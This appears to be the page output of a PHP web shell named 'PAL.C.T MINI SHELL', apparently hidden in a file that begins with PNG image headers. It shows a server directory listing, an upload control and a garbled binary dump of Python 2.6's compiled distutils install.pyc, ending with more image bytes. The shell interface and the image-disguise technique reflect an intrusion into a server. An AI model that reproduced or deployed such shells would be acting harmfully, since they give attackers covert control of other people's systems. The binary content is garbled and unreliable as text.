php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/distutils/command/
upload
files >> //usr/lib/python2.6/distutils/command/install.pyc

Lc@sdZddklZdZddkZddkZddkZddkTddkl	Z	ddk
lZddkl
Z
dd	klZdd
klZddklZlZlZddklZdd
klZddklZddklZeidjo-hdd6dd6dd6dd6dd6Zn*hdd6dd6dd6dd6dd6Zh	hdd6dd6dd6dd6dd6d6hdd6dd6d d6dd6dd6d!6hd"d6d"d6d#d6d$d6d%d6d&6ed'6hd"d6d"d6d(d6d)d6d%d6d*6hdd6dd6dd6dd6dd6d+6hd"d6d"d6d,d6d$d6d%d6d-6hdd6dd6dd6dd6dd6d.6hd"d6d"d6d#d6d$d6d%d6d/6Zd2Zd0e	fd1YZdS(3sFdistutils.command.install

Implements the Distutils 'install' command.i(tlogs=$Id: install.py 62788 2008-05-06 22:41:46Z christian.heimes $N(t*(tCommand(tDEBUG(tget_config_vars(tDistutilsPlatformError(t
write_file(tconvert_patht
subst_varstchange_root(tget_platform(tDistutilsOptionError(t	USER_BASE(t	USER_SITEs2.2s$basetpurelibtplatlibs$base/Include/$dist_nametheaderss
$base/Scriptstscriptstdatas$base/Lib/site-packagess/$base/lib/python$py_version_short/site-packagess3$platbase/lib/python$py_version_short/site-packagess0$base/include/python$py_version_short/$dist_names	$base/bintunix_prefixs$base/lib/pythons$base/include/python/$dist_namet	unix_homes	$usersites4$userbase/include/python$py_version_short/$dist_names
$userbase/bins	$userbaset	unix_usertnts4$userbase/Python$py_version_nodot/Include/$dist_names$userbase/Scriptstnt_usertmacs.$userbase/$py_version_short/include/$dist_nametmac_usertos2tos2_hometinstallcBseZdZdHdIdJddGdefdKddGdd
fdLdMdNddGddfdOdPdQdRdSdTdUdVdWgZdd%d(dgZhdd 6Zd,Zd-Z	d.Z
d/Zd0Zd1Z
d2Zd3Zd4Zd5Zd6Zd7Zd8Zd9Zd:Zd;Zd<Zd=Zd>Zd?Zd@ZdAefdBefdCefdDefdEdFfgZRS(Xs'install everything from build directorysprefix=sinstallation prefixsexec-prefix=s.(Unix only) prefix for platform-specific filesshome=s+(Unix only) home directory to install undertusers!install in user site-package '%s's
install-base=s;base installation directory (instead of --prefix or --home)sinstall-platbase=s8base installation directory for platform-specific files s$(instead of --exec-prefix or --home)sroot=s<install everything relative to this alternate root directorysinstall-purelib=s;installation directory for pure Python module distributionssinstall-platlib=s8installation directory for non-pure module distributionssinstall-lib=s4installation directory for all module distributions s3(overrides --install-purelib and --install-platlib)sinstall-headers=s(installation directory for C/C++ headerssinstall-scripts=s)installation directory for Python scriptss
install-data=s%installation directory for data filestcompiletcscompile .py to .pyc [default]s
no-compilesdon't compile .py filess	optimize=tOslalso compile with optimization: -O1 for "python -O", -O2 for "python -OO", and -O0 to disable [default: -O0]tforcetfs1force installation (overwrite any existing files)s
skip-builds2skip rebuilding everything (for testing/debugging)srecord=s3filename in which to record list of installed filescCsd|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
t|_t|_d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_dS(Nii(tNonetprefixtexec_prefixthomeRtinstall_basetinstall_platbasetroottinstall_purelibtinstall_platlibtinstall_headerstinstall_libtinstall_scriptstinstall_dataRtinstall_userbaseR
tinstall_usersiteRtoptimizet
extra_pathtinstall_path_fileR!t
skip_buildtwarn_dirt
build_baset	build_libtrecord(tself((s//usr/lib/python2.6/distutils/command/install.pytinitialize_optionss2																	
							cCsm|ip|ip
|io%|ip
|iotddn|io!|ip
|io
tdn|ioB|ip(|ip|ip|ip
|iotdntidjo(|io|i	dd|_qn|idtidjo|in|i
|idtitid	}td
d\}}h|iid6|iid
6|iid6|d6|d	d!d6|d	|dd6|d6|d
6|d6|d6|id6|id6|_|i|id|i|id<|i|id<to&ddkl}dGH||in|i|id|io|in|idjo-|ii o|i!|_q|i"|_n|i#dd d!d"d#d$dd|i$|i|_%ti&i'|i|i(|_|i)dj	o#|i*d%dd d!d"d#d$n|id&|i+d'd*d+dS(,Ns.must supply either prefix/exec-prefix/home or s)install-base/install-platbase -- not boths9must supply either home or prefix/exec-prefix -- not bothsJcan't combine user with with prefix/exec_prefix/home or install_(plat)basetposixs+exec-prefix option ignored on this platformspre-finalize_{unix,other}spost-finalize_{unix,other}()iR$R%t	dist_nametdist_versiont
dist_fullnamet
py_versionitpy_version_shortitpy_version_nodott
sys_prefixtsys_exec_prefixtuserbasetusersitespost-expand_basedirs()tbasetplatbasei(tpprintsconfig vars:spost-expand_dirs()tlibRRRRRtlibbasesafter prepending roottbuildR7R8(s
build_bases
build_base(s	build_libs	build_lib(,R$R%R&R'R(RRtostnametwarnR#t	dump_dirst
finalize_unixtfinalize_othertstringtsplittsystversionRtdistributiontget_nametget_versiontget_fullnameR0R1tconfig_varstexpand_basedirsRRItexpand_dirstcreate_home_pathR-text_modulesR+R*t
convert_pathsthandle_extra_pathtinstall_libbasetpathtjoint
extra_dirsR)tchange_rootstset_undefined_options(R:R@R$R%RI((s//usr/lib/python2.6/distutils/command/install.pytfinalize_optionss~
(












	


	cCstoddkl}|dGHx|iD]}|d}|ddjo|dd!}n||ijo-ti|i||}t||}n"ti||}t||}d||fGHq*WndS(Ni(t
longopt_xlatet:it=s  %s: %s(Rtdistutils.fancy_getoptRituser_optionstnegative_optRSt	translatetgetattr(R:tmsgRitopttopt_nametval((s//usr/lib/python2.6/distutils/command/install.pyRPs	

	cCs|idj	p|idj	or|idjo |idjo|idjp0|idjp |idjp|idjo
t	dndS|i
oD|idjotdn|i|_|_|i
dn|idj	o$|i|_|_|i
dn|idjoQ|idj	o
t	dntiiti|_tiiti|_n!|idjo|i|_n|i|_|i|_|i
ddS(NsPinstall-base or install-platbase supplied, but installation scheme is incompletes$User base directory is not specifiedRRs*must not supply exec-prefix without prefixR(R'R#R(R-R*R+R,R.R/RRR0Rt
select_schemeR&R$R%RMRctnormpathRU(R:((s//usr/lib/python2.6/distutils/command/install.pyRQs< 



cCs|ioK|idjotdn|i|_|_|itidn|i	dj	o$|i	|_|_|idnz|i
djotiit
i
|_
n|i
|_|_y|itiWn#tj
otdtinXdS(Ns$User base directory is not specifiedt_userRs)I don't know how to install stuff on '%s'(RR0R#RR'R(RuRMRNR&R$RcRvRUtKeyError(R:((s//usr/lib/python2.6/distutils/command/install.pyRRs"

cCsWt|}xFtD]>}d|}t||djot||||qqWdS(Ntinstall_(tINSTALL_SCHEMEStSCHEME_KEYSRpR#tsetattr(R:RNtschemetkeytattrname((s//usr/lib/python2.6/distutils/command/install.pyRus

cCsx|D]~}t||}|dj	o\tidjptidjotii|}nt||i}t|||qqWdS(NR<R(	RpR#RMRNRct
expanduserRR[R|(R:tattrstattrRt((s//usr/lib/python2.6/distutils/command/install.pyt
_expand_attrss
 cCs|idddgdS(NR'R(R)(R(R:((s//usr/lib/python2.6/distutils/command/install.pyR\s	cCs#|iddddddgdS(NR*R+R-R,R.R/(R(R:((s//usr/lib/python2.6/distutils/command/install.pyR]s	cGs>x7|D]/}d|}t||tt||qWdS(NRy(R|RRp(R:tnamesRNR((s//usr/lib/python2.6/distutils/command/install.pyR`s
cCs|idjo|ii|_n|idj	ot|itjoti|id|_nt|idjo|id}}n3t|idjo|i\}}n
tdt	|}n
d}d}||_
||_dS(Nt,iiisY'extra_path' option must be a list, tuple, or comma-separated string with 1 or 2 elementst(R3R#RWttypet
StringTypeRSRTtlenRRt	path_fileRe(R:RRe((s//usr/lib/python2.6/distutils/command/install.pyRa	s 	c	GsDx=|D]5}d|}t||t|it||qWdS(NRy(R|R	R)Rp(R:RRNR((s//usr/lib/python2.6/distutils/command/install.pyRf+s
cCs|ipdSttiid}xf|iiD]U\}}|i|o9tii|o%|i	d|ti
|dq7q7WdS(s#Create directories under ~
        Nt~sos.makedirs('%s', 0700)i(RRRMRcRR[t	iteritemst
startswithtisdirtdebug_printtmakedirs(R:R&RNRc((s//usr/lib/python2.6/distutils/command/install.pyR^0s
$c	Cs|ipP|id|iidi}|io |tjotdqZnx!|iD]}|i|qgW|i	o|i
n|io|i}|i
oBt|i
}x0tt|D]}|||||<qWn|it|i|fd|inttiiti}ttii|}tiitii|i}|io9|i	o|io$||jotid|indS(NRLs"Can't install when cross-compilings'writing list of installed files to '%s'smodules installed to '%s', which is not in Python's module search path (sys.path) -- you'll have to change the search path yourself(R5trun_commandRWtget_command_objt	plat_nameR6R
Rtget_sub_commandsRtcreate_path_fileR9tget_outputsR)RtxrangetexecuteRtmapRMRcRvRUtnormcaseR-R4Rtdebug(R:t
build_plattcmd_nametoutputstroot_lentcountertsys_pathR-((s//usr/lib/python2.6/distutils/command/install.pytrun=s:





	!

	cCsetii|i|id}|io'|it||igfd|n|i	d|dS(Ns.pthscreating %sspath file '%s' not created(
RMRcRdRbRR4RRReRO(R:tfilename((s//usr/lib/python2.6/distutils/command/install.pyRks
	cCsg}xX|iD]J}|i|}x2|iD]$}||jo|i|q5q5WqW|io4|io*|itii|i	|idn|S(Ns.pth(
Rtget_finalized_commandRtappendRR4RMRcRdRb(R:RRtcmdR((s//usr/lib/python2.6/distutils/command/install.pyRxs


cCsCg}x6|iD](}|i|}|i|iqW|S(N(RRtextendt
get_inputs(R:tinputsRR((s//usr/lib/python2.6/distutils/command/install.pyRs
cCs|iip
|iiS(sRReturn true if the current distribution has any Python
        modules to install.(RWthas_pure_modulesthas_ext_modules(R:((s//usr/lib/python2.6/distutils/command/install.pythas_libscCs
|iiS(N(RWthas_headers(R:((s//usr/lib/python2.6/distutils/command/install.pyRscCs
|iiS(N(RWthas_scripts(R:((s//usr/lib/python2.6/distutils/command/install.pyRscCs
|iiS(N(RWthas_data_files(R:((s//usr/lib/python2.6/distutils/command/install.pythas_datasR-R,R.R/tinstall_egg_infocCstS((tTrue(R:((s//usr/lib/python2.6/distutils/command/install.pyt<lambda>sN(sprefix=Nsinstallation prefix(sexec-prefix=Ns.(Unix only) prefix for platform-specific files(shome=Ns+(Unix only) home directory to install under(s
install-base=Ns;base installation directory (instead of --prefix or --home)(sroot=Ns<install everything relative to this alternate root directory(sinstall-purelib=Ns;installation directory for pure Python module distributions(sinstall-platlib=Ns8installation directory for non-pure module distributions(sinstall-headers=Ns(installation directory for C/C++ headers(sinstall-scripts=Ns)installation directory for Python scripts(s
install-data=Ns%installation directory for data files(scompileRscompile .py to .pyc [default](s
no-compileNsdon't compile .py files(s	optimize=R slalso compile with optimization: -O1 for "python -O", -O2 for "python -OO", and -O0 to disable [default: -O0](sforceR"s1force installation (overwrite any existing files)(s
skip-buildNs2skip rebuilding everything (for testing/debugging)(srecord=Ns3filename in which to record list of installed files(t__name__t
__module__tdescriptionR#R
Rmtboolean_optionsRnR;RhRPRQRRRuRR\R]R`RaRfR^RRRRRRRRtsub_commands(((s//usr/lib/python2.6/distutils/command/install.pyRls
	
	M			+				
					"		
	.	
										(spurelibsplatlibsheaderssscriptssdata( t__doc__t	distutilsRt__revision__RURMRSttypestdistutils.coreRtdistutils.debugRtdistutils.sysconfigRtdistutils.errorsRtdistutils.file_utilRtdistutils.utilRRR	R
RtsiteRR
RVtWINDOWS_SCHEMERzR{R(((s//usr/lib/python2.6/distutils/command/install.pyt<module>s$


y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`